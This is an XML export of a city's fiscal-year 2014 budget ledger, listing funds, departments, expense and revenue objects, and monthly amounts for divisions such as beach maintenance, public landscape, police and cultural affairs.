<row _id="12747"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8450.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8450.0</total></row>
<row _id="12748"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>545010.0</object><object_description>AQUATIC SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>75000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75000.0</total></row>
<row _id="12749"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5214.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5214.0</total></row>
<row _id="12750"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>404771.0</object><object_description>BIKE TRANSIT CTR CONCESSION AG</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-55000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-55000.0</total></row>
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<row _id="12754"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408540.0</object><object_description>MULTI MODAL TRAVEL &amp; PARKING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>-664150</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-664150.0</total></row>
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<row _id="12756"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>900.0</total></row>
<row _id="12757"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>403110.0</object><object_description>TDA ARTICLE III</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-49000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-49000.0</total></row>
<row _id="12758"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408350.0</object><object_description>BIKE TRAINING CMAQ GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>-2015</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2015.0</total></row>
<row _id="12759"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>50717.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>487.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51204.0</total></row>
<row _id="12760"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>144654.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>2241</december><january>30129.03</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>177024.03</total></row>
<row _id="12761"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2476.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>57</december><january>765.16</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3298.16</total></row>
<row _id="12762"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>37395.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37395.0</total></row>
<row _id="12763"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>714</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6914.0</total></row>
<row _id="12764"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>906</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>906.0</total></row>
<row _id="12765"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>12758</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12758.0</total></row>
<row _id="12766"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>675.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>675.0</total></row>
<row _id="12767"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2267.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2267.0</total></row>
<row _id="12768"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>18890.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18890.0</total></row>
<row _id="12769"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544150.0</object><object_description>TREES/SEEDS/PLANTS/FERTILIZER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>133125.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>133125.0</total></row>
<row _id="12770"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30362.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30362.0</total></row>
<row _id="12771"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>588500.0</object><object_description>MISCELLANEOUS EQUIPMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5227.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5227.0</total></row>
<row _id="12772"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>597.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>79.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>676.0</total></row>
<row _id="12773"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>320501.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>8333.33</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>328834.33</total></row>
<row _id="12774"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>566650.0</object><object_description>MALL MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>150675.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>150675.0</total></row>
<row _id="12775"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8325.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8325.0</total></row>
<row _id="12776"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>61374.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>61374.0</total></row>
<row _id="12777"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>578920.0</object><object_description>PROP A-MAINT (NOT LOCAL RETRN)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>40000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="12778"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400480.0</object><object_description>SALES TAX IN-LIEU</object_description><category_code>604.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-8810690.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-202656.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9013346.0</total></row>
<row _id="12779"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405100.0</object><object_description>PARKING FACILITY TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-10600000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-400000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11000000.0</total></row>
<row _id="12780"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>513.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>513.0</total></row>
<row _id="12781"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522920.0</object><object_description>VEHICLES - REPAIRS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="12782"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579007.0</object><object_description>DISCRET-ORD ELECTION FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6500.0</total></row>
<row _id="12783"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29779.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29779.0</total></row>
<row _id="12784"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>115.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>115.0</total></row>
<row _id="12785"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>450.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>450.0</total></row>
<row _id="12786"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>410090.0</object><object_description>HOUSEHOLD HAZARDOUS WASTE GRAN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>-48278</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-48278.0</total></row>
<row _id="12787"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522350.0</object><object_description>LOS AMIGOS MWD GRANT 2013</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>400000</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>400000.0</total></row>
<row _id="12788"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408590.0</object><object_description>SA COLLECTIVE BARGAINING COSTS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-312400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-312400.0</total></row>
<row _id="12789"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563160.0</object><object_description>WISE FTA GRANT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>133810.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>133810.0</total></row>
<row _id="12790"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-4000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4000.0</total></row>
<row _id="12791"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579011.0</object><object_description>DISCRET-SAFE ROUTES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>67771.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>67771.0</total></row>
<row _id="12792"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8938.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8938.0</total></row>
<row _id="12793"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2698.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2698.0</total></row>
<row _id="12794"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>555080.0</object><object_description>DEAD ANIMAL DISPOSAL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9738.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9738.0</total></row>
<row _id="12795"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>576514.0</object><object_description>OTS STEP GRANT 2014</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>15000</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="12796"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>1607.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1607.0</total></row>
<row _id="12797"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>578842.0</object><object_description>JUSTICE ASSIST GRANT 2014</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>31585</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31585.0</total></row>
<row _id="12798"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>268317</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>268317.0</total></row>
